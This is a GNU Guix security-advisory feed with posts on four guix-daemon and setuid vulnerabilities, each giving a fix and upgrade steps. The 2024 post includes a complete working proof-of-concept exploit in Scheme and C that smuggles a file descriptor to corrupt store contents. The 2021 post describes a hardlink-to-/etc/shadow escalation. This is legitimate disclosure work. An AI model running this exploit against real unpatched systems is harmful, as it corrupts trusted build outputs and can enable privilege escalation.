https://guix.gnu.org/feeds/blog/security-advisory.atomGNU Guix — Blog — Security Advisoryfeed author nameGNU Guixhttps://guix.gnu.org/themes/initial/img/icon.png2024-03-20T10:58:01Zhttps://guix.gnu.org/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297//Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297)John Kehayias2024-03-12T17:00:00Z2024-03-12T17:00:00Z A security issue has been identified in
guix-daemon
which allows for fixed-output
derivations ,
such as source code tarballs or Git checkouts, to be corrupted by an
unprivileged user. This could also lead to local privilege escalation.
This was originally reported to Nix but also affects Guix as we share
some underlying code from an older version of Nix for the
guix-daemon . Readers only interested in making sure their Guix is up
to date and no longer affected by this vulnerability can skip down to
the "Upgrading" section. Vulnerability The basic idea of the attack is to pass file…<p>A security issue has been identified in
<a href="https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix_002ddaemon.html"><code>guix-daemon</code></a>
which allows for <a href="https://guix.gnu.org/manual/devel/en/html_node/Derivations.html#index-fixed_002doutput-derivations">fixed-output
derivations</a>,
such as source code tarballs or Git checkouts, to be corrupted by an
unprivileged user. This could also lead to local privilege escalation.
This was originally reported to Nix but also affects Guix as we share
some underlying code from an older version of Nix for the
<code>guix-daemon</code>. Readers only interested in making sure their Guix is up
to date and no longer affected by this vulnerability can skip down to
the "Upgrading" section.</p><h1>Vulnerability</h1><p>The basic idea of the attack is to pass file descriptors through Unix
sockets to allow another process to modify the derivation contents.
This was first reported to Nix by jade and puckipedia with further
details and a proof of concept
<a href="https://hackmd.io/03UGerewRcy3db44JQoWvw">here</a>. Note that the proof
of concept is written for Nix and has been adapted for GNU Guix below.
This security advisory is registered as
<a href="https://www.cve.org/CVERecord?id=CVE-2024-27297">CVE-2024-27297</a>
(details are also available at Nix's GitHub <a href="https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37">security
advisory</a>)
and rated "moderate" in severity.</p><p>A fixed-output
<a href="https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html">derivation</a>
is one where the output hash is known in advance. For instance, to
produce a source tarball. The GNU Guix build sandbox purposefully
excludes network access (for security and to ensure we can control and
reproduce the build environment), but a fixed-output derivation does
have network access, for instance to download that source tarball.
However, as stated, the hash of output must be known in advance, again
for security (we know if the file contents would change) and
reproducibility (should always have the same output). The
<code>guix-daemon</code> handles the build process and writing the output to the
store, as a privileged process.</p><p>In the build sandbox for a fixed-output derivation, a file descriptor
to its contents could be shared with another process via a Unix
socket. This other process, outside of the build sandbox, can then
modify the contents written to the store, changing them to something
malicious or otherwise corrupting the output. While the output hash
has already been determined, these changes would mean a fixed-output
derivation could have contents written to the store which do not match
the expected hash. This could then be used by the user or other
packages as well.</p><h1>Mitigation</h1><p>This security issue (tracked <a href="https://issues.guix.gnu.org/69728">here</a>
for GNU Guix) has been fixed by
<a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143">two</a>
<a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42">commits</a>
by Ludovic Courtès. Users should make sure they have updated to <a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42">this
second
commit</a>
to be protected from this vulnerability. Upgrade instructions are in
the following section.</p><p>While several possible mitigation strategies were detailed in the
original report, the simplest fix is just copy the derivation output
somewhere else, deleting the original, before writing to the store.
Any file descriptors will no longer point to the contents which get
written to the store, so only the <code>guix-daemon</code> should be able to
write to the store, as designed. This is what the Nix project used in
their <a href="https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9">own
fix</a>.
This does add an additional copy/delete for each file, which may add a
performance penalty for derivations with many files.</p><p>A proof of concept by Ludovic, adapted from the one in the original
Nix report, is available at the end of this post. One can run this
code with</p><pre><code class="language-sh">guix build -f fixed-output-derivation-corruption.scm -M4</code></pre><p>This will output whether the current <code>guix-daemon</code> being used is
vulnerable or not. If it is vulnerable, the output will include a line similar to</p><pre><code class="language-sh">We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!</code></pre><p>The corrupted file can be removed with</p><pre><code class="language-sh">guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*</code></pre><p>In general, corrupt files from the store can be found with</p><pre><code class="language-sh">guix gc --verify=contents</code></pre><p>which will also include any files corrupted by through this
vulnerability. Do note that this command can take a long time to
complete as it checks every file under <code>/gnu/store</code>, which likely has
many files.</p><h1>Upgrading</h1><p>Due to the severity of this security advisory, we strongly recommend
all users to upgrade their <code>guix-daemon</code> immediately.</p><p>For a Guix System the procedure is just reconfiguring the system after
a <code>guix pull</code>, either restarting <code>guix-daemon</code> or rebooting. For
example,</p><pre><code class="language-sh">guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon</code></pre><p>where <code>/run/current-system/configuration.scm</code> is the current system
configuration but could, of course, be replaced by a system
configuration file of a user's choice.</p><p>For Guix running as a package manager on other distributions, one
needs to <code>guix pull</code> with <code>sudo</code>, as the <code>guix-daemon</code> runs as root,
and restart the <code>guix-daemon</code> service. For example, on a system using
systemd to manage services,</p><pre><code class="language-sh">sudo --login guix pull
sudo systemctl restart guix-daemon.service</code></pre><p>Note that for users with their distro's package of Guix (as opposed to
having used the <a href="https://guix.gnu.org/en/manual/devel/en/html_node/Binary-Installation.html">install
script</a>)
you may need to take other steps or upgrade the Guix package as per
other packages on your distro. Please consult the relevant
documentation from your distro or contact the package maintainer for
additional information or questions.</p><h1>Conclusion</h1><p>One of the key features and design principles of GNU Guix is to allow
unprivileged package management through a secure and reproducible
<a href="https://guix.gnu.org/en/manual/devel/en/html_node/Build-Environment-Setup.html">build
environment</a>.
While every effort is made to protect the user and system from any
malicious actors, it is always possible that there are flaws yet to be
discovered, as has happened here. In this case, using the ingredients
of how file descriptors and Unix sockets work even in the isolated
build environment allowed for a security vulnerability with moderate
impact.</p><p>Our thanks to jade and puckipedia for the original report, and Picnoir
for bringing this to the attention of the GNU Guix <a href="https://guix.gnu.org/en/security/">security
team</a>. And a special thanks to
Ludovic Courtès for a prompt fix and proof of concept.</p><p>Note that there are current efforts to rewrite the <code>guix-daemon</code> in
Guile by Christopher Baines. For more information and the latest news
on this front, please refer to the <a href="https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/">recent blog
post</a> and
<a href="https://lists.gnu.org/archive/html/guix-devel/2024-02/msg00253.html">this
message</a>
on the <a href="https://lists.gnu.org/mailman/listinfo/guix-devel">guix-devel</a>
mailing list.</p><h2>Proof of Concept</h2><p>Below is code to check if a <code>guix-daemon</code> is vulnerable to this
exploit. Save this file as <code>fixed-output-derivation-corruption.scm</code>
and run following the instructions above, in "Mitigation." Some
further details and example output can be found on <a href="https://issues.guix.gnu.org/69728#5">issue
#69728</a></p><pre><code class="language-scheme">;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check</code></pre><h3>About GNU Guix</h3><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager
and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
<a href="https://www.gnu.org/software/guile">Guile</a> programming interfaces and
extensions to the <a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2021/risk-of-local-privilege-escalation-via-guix-daemon-cve-2021-27851//Risk of local privilege escalation via guix-daemon (CVE-2021-27851)Ludovic Courtès and Leo Famulari2021-03-18T13:00:00Z2021-03-18T13:00:00Z A security vulnerability that can lead to local privilege escalation has been
found in
guix-daemon .
It affects multi-user setups in which guix-daemon runs locally. It does not affect multi-user setups where guix-daemon runs on a
separate machine and is accessed over the network via
GUIX_DAEMON_SOCKET , as is customary on cluster
setups .
Exploitation is more difficult, but not impossible, on machines where
the Linux protected
hardlinks feature
is enabled, which is common — this is the case when the contents of
/proc/sys/fs/protected_hardlinks are 1 . Vulnerability The attack…<p>A security vulnerability that can lead to local privilege escalation has been
found in
<a href="https://guix.gnu.org/manual/en/html_node/Invoking-guix_002ddaemon.html"><code>guix-daemon</code></a>.
It affects multi-user setups in which <code>guix-daemon</code> runs locally.</p><p>It does <em>not</em> affect multi-user setups where <code>guix-daemon</code> runs on a
separate machine and is accessed over the network via
<code>GUIX_DAEMON_SOCKET</code>, as is customary on <a href="https://hpc.guix.info/blog/2017/11/installing-guix-on-a-cluster/">cluster
setups</a>.
Exploitation is more difficult, but not impossible, on machines where
the Linux <a href="https://sysctl-explorer.net/fs/protected_hardlinks/">protected
hardlinks</a> feature
is enabled, which is common — this is the case when the contents of
<code>/proc/sys/fs/protected_hardlinks</code> are <code>1</code>.</p><h1>Vulnerability</h1><p>The attack consists in having an unprivileged user spawn a build process, for
instance with <code>guix build</code>, that makes its build directory world-writable. The
user then creates a hardlink to a root-owned file such as <code>/etc/shadow</code> in that
build directory. If the user passed the <code>--keep-failed</code> option and the build
eventually fails, the daemon changes ownership of the whole build tree,
including the hardlink, to the user. At that point, the user has write access
to the target file.</p><p>This is <a href="https://www.cve.org/CVERecord?id=CVE-2021-27851">CVE-2021-27851</a>.</p><h1>Fix</h1><p>This <a href="https://issues.guix.gnu.org/47229">bug</a> has been
<a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ec7fb669945bfb47c5e1fdf7de3a5d07f7002ccf">fixed</a>.
See below for upgrade instructions.</p><p>The fix consists in adding a root-owned “wrapper” directory in which the build
directory itself is located. If the user passed the <code>--keep-failed</code> option and
the build fails, the <code>guix-daemon</code> first changes ownership of the build
directory, and then, in two stages, moves the build directory into the location
where users expect to find failed builds, roughly like this:</p><ol><li><code>chown -R USER /tmp/guix-build-foo.drv-0/top</code></li><li><code>mv /tmp/guix-build-foo.drv-0{,.pivot}</code></li><li><code>mv /tmp/guix-build-foo.drv-0.pivot/top /tmp/guix-build-foo.drv-0</code></li></ol><p>In step #1, <code>/tmp/guix-build-foo.drv-0</code> remains root-owned, with permissions of
<code>#o700</code>. Thus, only root can change directory into it or into <code>top</code>. Likewise in
step #2.</p><p>The build tree becomes accessible to the user once step #3 has succeeded, not
before. These steps are performed after the package build scripts have stopped
running.</p><h1>Upgrading</h1><p>On multi-user systems, we recommend upgrading the <code>guix-daemon</code> now.</p><p>To upgrade the daemon on Guix System, run something like:</p><pre><code>guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon</code></pre><p>On other distros, use something like this:</p><pre><code>sudo --login guix pull
sudo systemctl restart guix-daemon.service</code></pre><h1>Conclusions</h1><p>One of the flagship features of GNU Guix is to enable unprivileged package
management, which includes building packages. Building occurs in an <a href="https://guix.gnu.org/manual/en/html_node/Build-Environment-Setup.html">isolated
build environment</a>.
This environment is isolated from the rest of the system not only to control the
build process to implement the <a href="https://guix.gnu.org/manual/en/html_node/Managing-Software-the-Guix-Way.html">functional packaging
model</a>,
but also to protect the system from package build scripts.</p><p>Despite our best efforts, there is always the possibility that we have
overlooked something, as in this case.</p><p>This issue is tracked as
<a href="https://issues.guix.gnu.org/47229">bug #47229</a>; you can read the thread
for more information.</p><p>We are grateful to Nathan Nye of WhiteBeam Security for reporting this bug.</p><p>Please report any issues you may have to
<a href="https://guix.gnu.org/en/contact/"><code>guix-devel@gnu.org</code></a>. See the
<a href="https://guix.gnu.org/en/security/">security web page</a> for information
on how to report security issues.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager and
an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, and AArch64 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through <a href="https://www.gnu.org/software/guile">Guile</a>
programming interfaces and extensions to the
<a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2021/risk-of-local-privilege-escalation-via-setuid-programs//Risk of local privilege escalation via setuid programsLudovic Courtès2021-02-09T16:00:00Z2021-02-09T16:00:00Z On Guix System, setuid
programs
were, until now, installed as setuid-root and setgid-root (in the
/run/setuid-programs directory). However, most of these programs are
meant to run as setuid-root, but not setgid-root. Thus, this setting
posed a risk of local privilege escalation (users of Guix on a “foreign
distro” are unaffected). This bug has been
fixed
and users are advised to upgrade their system, with commands along the
lines of: guix pull
sudo guix system reconfigure /run/current-system/configuration.scm This issue is tracked as bug
#46305 ; you can read the thread for
more information. There…<p>On Guix System, <a href="https://guix.gnu.org/manual/en/html_node/Setuid-Programs.html">setuid
programs</a>
were, until now, installed as setuid-root <em>and</em> setgid-root (in the
<code>/run/setuid-programs</code> directory). However, most of these programs are
meant to run as setuid-root, but not setgid-root. Thus, this setting
posed a risk of local privilege escalation (users of Guix on a “foreign
distro” are unaffected).</p><p>This bug has been
<a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=aa8de806252e3835d57fab351b02d13db762deac">fixed</a>
and users are advised to upgrade their system, with commands along the
lines of:</p><pre><code>guix pull
sudo guix system reconfigure /run/current-system/configuration.scm</code></pre><p>This issue is tracked as <a href="https://issues.guix.gnu.org/46395">bug
#46305</a>; you can read the thread for
more information. There are no known exploitation of this issue to
date. Many thanks to Duncan Overbruck for reporting it.</p><p>Please report any issues you may have to
<a href="https://guix.gnu.org/en/contact/"><code>guix-devel@gnu.org</code></a>. See the
<a href="https://guix.gnu.org/en/security/">security web page</a> for information
on how to report security issues.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager and
an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, and AArch64 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through <a href="https://www.gnu.org/software/guile">Guile</a>
programming interfaces and extensions to the
<a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2019/insecure-permissions-on-profile-directory-cve-2019-18192//Insecure permissions on profile directory (CVE-2019-18192)Ludovic Courtès2019-10-17T22:15:00Z2019-10-17T22:15:00Z We have become aware of a security issue for Guix on multi-user systems
that we have just fixed
( CVE-2019-18192 ).
Anyone running Guix on a multi-user system is encouraged to upgrade
guix-daemon —see below for instructions. Context The default user profile, ~/.guix-profile , points to
/var/guix/profiles/per-user/$USER . Until now,
/var/guix/profiles/per-user was world-writable, allowing the guix
command to create the $USER sub-directory. On a multi-user system, this allowed a malicious user to create and
populate that $USER sub-directory for another user that had not yet
logged in. Since …<p>We have become aware of a security issue for Guix on multi-user systems
<a href="https://issues.guix.gnu.org/issue/37744">that we have just fixed</a>
(<a href="https://nvd.nist.gov/vuln/detail?vulnId=CVE-2019-18192">CVE-2019-18192</a>).
Anyone running Guix on a multi-user system is encouraged to upgrade
<code>guix-daemon</code>—see below for instructions.</p><h1>Context</h1><p>The default user profile, <code>~/.guix-profile</code>, points to
<code>/var/guix/profiles/per-user/$USER</code>. Until now,
<code>/var/guix/profiles/per-user</code> was world-writable, allowing the <code>guix</code>
command to create the <code>$USER</code> sub-directory.</p><p>On a multi-user system, this allowed a malicious user to create and
populate that <code>$USER</code> sub-directory for another user that had not yet
logged in. Since <code>/var/…/$USER</code> is in <code>$PATH</code>, the target user could
end up running attacker-provided code. See
<a href="https://issues.guix.gnu.org/issue/37744">the bug report</a> for more information.</p><p>This issue was initially <a href="https://www.openwall.com/lists/oss-security/2019/10/09/4">reported by Michael Orlitzky for
Nix</a>
(<a href="https://nvd.nist.gov/vuln/detail?vulnId=CVE-2019-17365">CVE-2019-17365</a>).</p><h1>Fix</h1><p>The <a href="https://git.savannah.gnu.org/cgit/guix.git/commit/?id=81c580c8664bfeeb767e2c47ea343004e88223c7">fix</a>
consists in letting
<code>guix-daemon</code> create these directories on behalf of users and removing
the world-writable permissions on <code>per-user</code>.</p><p>For <a href="https://hpc.guix.info/blog/2017/11/installing-guix-on-a-cluster/">cluster
setups</a>
where clients connect to the daemon over TCP (<a href="https://guix.gnu.org/manual/en/html_node/Invoking-guix_002ddaemon.html">thanks to the <code>--listen</code>
option of
<code>guix-daemon</code></a>),
the fix <em>requires</em> <code>guix-daemon</code> to be able to resolve user names so
that it can create <code>/var/…/per-user/$USER</code> with the right ownership.
Note also that the <code>guix</code> command prior to this fix would not
communicate the user name it’s running under to the daemon, thereby
preventing it from creating that directory on its behalf.</p><h1>Upgrading</h1><p>On multi-user systems, we recommend upgrading the daemon now.</p><p>To upgrade the daemon on Guix System, run:</p><pre><code>guix pull
sudo guix system reconfigure /etc/config.scm
sudo herd restart guix-daemon</code></pre><p>On other distros, run something along these lines:</p><pre><code>sudo guix pull
sudo systemctl restart guix-daemon.service</code></pre><p>Once you’ve run <code>guix build hello</code> or any other <code>guix</code> command, you
should see that <code>/var/guix/profiles/per-user</code> is no longer
world-writable:</p><pre><code>$ ls -ld /var/guix/profiles/per-user
drwxr-xr-x 5 root root 4096 Jun 23 2017 /var/guix/profiles/per-user</code></pre><p>Please report any issues you may have to
<a href="https://guix.gnu.org/contact/"><code>guix-devel@gnu.org</code></a>. See the
<a href="https://guix.gnu.org/security/">security web page</a> for information on
how to report security issues.</p><h4>About GNU Guix</h4><p><a href="https://www.gnu.org/software/guix">GNU Guix</a> is a transactional package
manager and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects
user
freedom</a>.
Guix can be used on top of any system running the kernel Linux, or it
can be used as a standalone operating system distribution for i686,
x86_64, ARMv7, and AArch64 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through <a href="https://www.gnu.org/software/guile">Guile</a>
programming interfaces and extensions to the
<a href="http://schemers.org">Scheme</a> language.</p>